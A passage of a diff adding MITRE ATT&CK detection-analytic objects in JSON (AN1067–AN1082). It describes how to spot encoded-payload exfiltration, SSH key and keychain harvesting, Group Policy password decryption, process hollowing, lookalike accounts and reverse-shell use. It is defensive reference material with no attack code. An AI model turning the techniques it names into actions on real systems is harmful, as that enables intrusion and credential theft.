"https://attack.mitre.org/detectionstrategies/DET0378#AN1067", + "external_id": "AN1067" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1067", + "description": "Identifies transfer of base64, uuencoded, or high-entropy files over HTTP, FTP, or custom protocols in lateral movement or exfiltration streams.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "networkdevice:IDS", + "channel": "content inspection / PCAP / HTTP body" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Adjust threshold to reduce false positives in compressed but benign data" + }, + { + "field": "ProtocolScope", + "description": "Refine by enabling inspection of specific exfil vectors (e.g., FTP, HTTP POST)" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f1ec63bc-294c-471c-ae9f-4dd70f3c036a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0378#AN1068", + "external_id": "AN1068" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1068", + "description": "Detects encoded PowerCLI or Base64-encoded payloads staged via datastore uploads or shell access (e.g., ESXi Shell or backdoored VIBs).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "esxi:vmkernel", + "channel": "Datastore modification events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "esxi:hostd", + "channel": "Remote access API calls and file uploads" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingLocation", + "description": "Tune based on observed adversary paths (e.g., /vmfs/volumes/...)" + }, + { + "field": "EncodedLengthThreshold", + "description": "Tune length of encoded payloads before triggering detection" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--670462e3-6c3e-4779-af75-2a0424a5d221", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0379#AN1069", + "external_id": "AN1069" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1069", + "description": "Detects rogue Wi-Fi access points broadcasting the same SSID as legitimate APs with stronger signal strength, unexpected MAC/BSSID values, or inconsistent encryption settings. Correlates authentication attempts, captive portal redirections, and anomalous traffic flows through unauthorized APs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "WLANLogs:Association", + "channel": "Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Probe responses from unauthorized APs responding to client probe requests" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "networkdevice:syslog", + "channel": "Failed authentication requests redirected to non-standard portals" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownSSIDs", + "description": "Baseline of authorized SSIDs; deviations may indicate rogue AP." + }, + { + "field": "AllowedBSSIDs", + "description": "Whitelist of BSSID/MAC addresses mapped to corporate SSIDs." + }, + { + "field": "SignalStrengthThreshold", + "description": "Used to flag unusually strong signals from unexpected APs." + }, + { + "field": "CaptivePortalDomains", + "description": "Trusted login domains; unrecognized portals may be malicious." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--79ecfad5-3439-4a04-919a-236d47652ba0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0380#AN1070", + "external_id": "AN1070" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1070", + "description": "Adversaries collecting local files via PowerShell, WMI, or direct file API calls often include recursive file listings, targeted file reads, and temporary file staging.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetFilePathRegex", + "description": "Allows tuning for file extensions or paths of sensitive data (e.g., *.xls, *.db, *.pdf)." + }, + { + "field": "ParentProcessFilter", + "description": "Used to scope monitoring to suspicious parent/child process trees like PowerShell or WMI spawning file reads." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f5f64b3-bc1b-4573-b790-42b8adfdd609", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0380#AN1071", + "external_id": "AN1071" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1071", + "description": "Adversaries using bash scripts or tools to recursively enumerate user home directories, config files, or SSH keys.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time span to correlate multiple file access events indicative of scripted or bulk access." + }, + { + "field": "ScriptToolName", + "description": "List of tools (e.g., `find`, `grep`, `tar`, `scp`) that may be benign but are context-sensitive." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a48f36c7-e946-4270-ae23-1a2e52ae2e24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0380#AN1072", + "external_id": "AN1072" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1072", + "description": "Adversary use of bash/zsh or AppleScript to locate files and exfil targets like user keychains or documents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process:spawn" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "read/write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Useful for excluding known admin or scheduled jobs." + }, + { + "field": "TargetVolume", + "description": "Focus monitoring on removable drives or external paths." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dfe1b67a-a1c1-43f4-a043-5784a315d018", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0380#AN1073", + "external_id": "AN1073" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1073", + "description": "Collection of device configuration via CLI commands (e.g., `show running-config`, `copy flash`, `more`), often followed by TFTP/SCP transfers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "command logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandScope", + "description": "Defines list of configuration or diagnostic commands to monitor." + }, + { + "field": "AuthenticatedUserList", + "description": "Helps reduce false positives by whitelisting known admins." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0abb4122-0795-46ef-b162-7570db42596a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0380#AN1074", + "external_id": "AN1074" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1074", + "description": "Adversaries accessing datastore or configuration files via `vim-cmd`, `esxcli`, or SCP to extract logs, VMs, or host configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxis:vmkernel", + "channel": "Datastore Access" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "Command Execution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessPathRegex", + "description": "Regex for filtering targeted VM paths or files like *.vmdk, *.vmx." + }, + { + "field": "InteractiveShellUsage", + "description": "Tune to distinguish between interactive and script-driven data access." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e14e67af-6f6e-47d6-aa19-4012ea99284c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0381#AN1075", + "external_id": "AN1075" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1075", + "description": "Correlates file enumeration of XML files in the SYSVOL share with suspicious process execution that decodes or reads encrypted credentials embedded in Group Policy Preference files (e.g., Get-GPPPassword.ps1, gpprefdecrypt.py, Metasploit). Detects abnormal access to \\DOMAIN\\SYSVOL combined with XML file parsing or decryption logic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "WinEventLog:PowerShell", + "channel": "Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Tune to exclude authorized admin users or domain controllers accessing SYSVOL" + }, + { + "field": "TimeWindow", + "description": "Adjust for correlation timing between file access and script execution" + }, + { + "field": "KnownToolsSignature", + "description": "Extend to include known GPP parsing tool names or script hashes" + }, + { + "field": "HostType", + "description": "Distinguish between expected access from DCs vs. lateral movement from workstations" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bcb01d01-66f6-47bb-9ca1-46b4ce686ad4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0382#AN1076", + "external_id": "AN1076" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1076", + "description": "Detects adversary use of suspended process creation, using the CREATE_SUSPENDED flag via CreateProcess, followed by unmapping the memory of the child process (NtUnmapViewOfSection) and replacing it with malicious code via VirtualAllocEx/WriteProcessMemory, then SetThreadContext and ResumeThread to begin execution within the hollowed process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HollowedImageNamePattern", + "description": "Regex to match common decoy executables used for hollowing (e.g., 'svchost.exe', 'notepad.exe')" + }, + { + "field": "TimeWindow_ProcessCreateToResume", + "description": "Temporal threshold for unmap/write/execute sequence (e.g., within 5\u201310 seconds)" + }, + { + "field": "SuspendedProcessStartFlag", + "description": "CreateProcess flag used to identify suspended thread creation" + }, + { + "field": "MemoryWriteSizeThreshold", + "description": "Minimum byte size to flag suspicious memory overwrite in hollowed process" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8c3a43bc-dd07-4e72-a987-a2dc36e162fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0383#AN1077", + "external_id": "AN1077" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1077", + "description": "Detects adversary behavior where a newly created or renamed user account closely resembles existing service or administrator accounts to blend in and avoid detection. Common patterns include prefix/suffix modifications, homoglyphs, or use of names like 'admin1', 'adm1n', or 'backup_help'.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "WinEventLog:Security", + "channel": "EventCode=4720, EventCode=4781" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "windows:osquery", + "channel": "User enumeration with creation/last modified timestamps" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SimilarityThreshold", + "description": "Defines how close in Levenshtein or visual distance an account name must be to a legitimate one to raise an alert." + }, + { + "field": "MonitoredAccountList", + "description": "Set of known legitimate accounts to compare new account names against." + }, + { + "field": "TimeWindow", + "description": "Period within which anomalous account creation or renaming is evaluated in relation to discovery or deletion activity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5f584d00-63b5-44c5-b629-ff238f5b9931", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0383#AN1078", + "external_id": "AN1078" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1078", + "description": "Detects creation or renaming of accounts with names that closely match known service, root, or admin accounts. Behavior often follows account discovery or deletion, attempting to blend into system activity logs using trusted name conventions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "auditd:SYSCALL", + "channel": "adduser" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "auditd:SYSCALL", + "channel": "usermod, or account rename system calls" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "linux:osquery", + "channel": "Listing of /etc/passwd and /etc/shadow metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedSystemAccounts", + "description": "Whitelist of legitimate service accounts used for validation." + }, + { + "field": "LevenshteinThreshold", + "description": "Edit distance sensitivity between created account and existing account names." + }, + { + "field": "ScriptInitiatorDetection", + "description": "Whether to flag account creation events triggered from suspicious scripts or shell histories." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0252a0ff-a4fb-4196-9b43-d759af950d55", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0383#AN1079", + "external_id": "AN1079" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1079", + "description": "Detects adversary creation of cloud or IdP accounts whose names resemble existing privileged or service accounts. May indicate preparation for privilege escalation or defense evasion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "azure:audit", + "channel": "Add user" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "azure:audit", + "channel": "Rename user" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "saas:okta", + "channel": "User lifecycle events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RoleScope", + "description": "Whether created users have privileged or scoped roles assigned at creation." + }, + { + "field": "NamingHeuristics", + "description": "Regex patterns or heuristics for detecting suspicious naming conventions (e.g., helpdesk_support_, root-admin)." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fb767270-25ad-4fea-a8e7-8f9c57ac1fa8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0383#AN1080", + "external_id": "AN1080" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1080", + "description": "Monitors for the creation of accounts inside containers using names that resemble legitimate orchestrator or backup identities to mask adversary persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "docker:daemon", + "channel": "ExecCreate + usermod or useradd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ContainerContextScope", + "description": "Limit detection to containers with persistent volumes or specific workloads" + }, + { + "field": "MasqueradePatternList", + "description": "Custom list of commonly abused names to blend into container environments (e.g., kubelet, cronjob_sync)" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c5556dd5-005a-4c11-b028-240fa379d827", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0384#AN1081", + "external_id": "AN1081" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1081", + "description": "Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "linux:osquery", + "channel": "socket_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "linux:syslog", + "channel": "auth.log / secure.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutableName", + "description": "Detect variants like /bin/sh, /usr/local/bin/zsh, /bin/busybox sh." + }, + { + "field": "UserContext", + "description": "Shell used by service accounts, root, or rare accounts." + }, + { + "field": "ParentProcess", + "description": "Shell invoked by unexpected parents (e.g., curl, mail, apache2)." + }, + { + "field": "TimeWindow", + "description": "Execution outside maintenance windows or normal activity periods." + }, + { + "field": "CommandLinePattern", + "description": "Flags use of loops, download commands, chaining (|, &&), or reverse shells." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ebd61e14-852c-403b-8b50-7e15a1c32d05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0384#AN1082", + "external_id": "AN1082" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1082", + "description": "Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"exec\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:osquery", + "channel": "launchd + process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:syslog", + "channel": "system.log, asl.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptLocation", + "description": "Execution from /Users/Shared, ~/Library/LaunchAgents, /tmp." + }, + { + "field": "ParentProcess", + "description": "Shells spawned from Preview, Safari, or AppleScript." + }, + { + "field": "UserRole", + "description": "Detection thresholds may differ for admin vs standard users." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--52f4a572-0d43-4684-9598-6bc8cf2bffb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + 